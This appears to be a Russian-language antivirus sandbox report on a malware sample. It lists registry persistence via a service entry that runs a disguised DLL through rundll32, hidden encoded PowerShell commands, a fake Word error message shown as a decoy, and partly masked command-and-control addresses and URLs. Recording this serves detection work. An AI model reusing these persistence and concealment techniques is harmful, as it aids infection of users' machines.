Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\bppdyf.ikd] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\bppdyf.ikd] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Sgkx\bppdyf.ikd",RunDLL'
- 'bppdyf.ikd' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Sgkx\bppdyf.ikd",RunDLL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD JABBADUAYwA3ACAAIAA9ACAAWwBUAHkAUABFAF0AKAAiAHsANAB9AHsANQB9AHsAMwB9AHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAIAAnAGQAaQByACcALAAnAG8AUgBZACcALAAnAEUAYwBUACcALAAnAE0A...
- %HOMEPATH%\p1qccus\q9ow42u\foau33r.dll
- %WINDIR%\syswow64\sgkx\bppdyf.ikd
- %HOMEPATH%\p1qccus\q9ow42u\foau33r.dll в %WINDIR%\syswow64\sgkx\bppdyf.ikd
- '5.##.32.101':80
- '11#.#72.180.180':8080
- '20#.#57.152.9':7080
- '15#.#45.145.87':443
- http://an###nreach.com//System/
- http://15#.##5.145.87:443/vf7pfmmhxh9wy/smyf3i7y/95mrx5b1vw/6xqz6p1/riixuli02z3rrgh/zab7on5p1/ via 15#.#45.145.87
- DNS ASK an###nreach.com
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD JABBADUAYwA3ACAAIAA9ACAAWwBUAHkAUABFAF0AKAAiAHsANAB9AHsANQB9AH...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\P1qccus\Q9ow42u\Foau33r.dll #1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Sgkx\bppdyf.ikd",RunDLL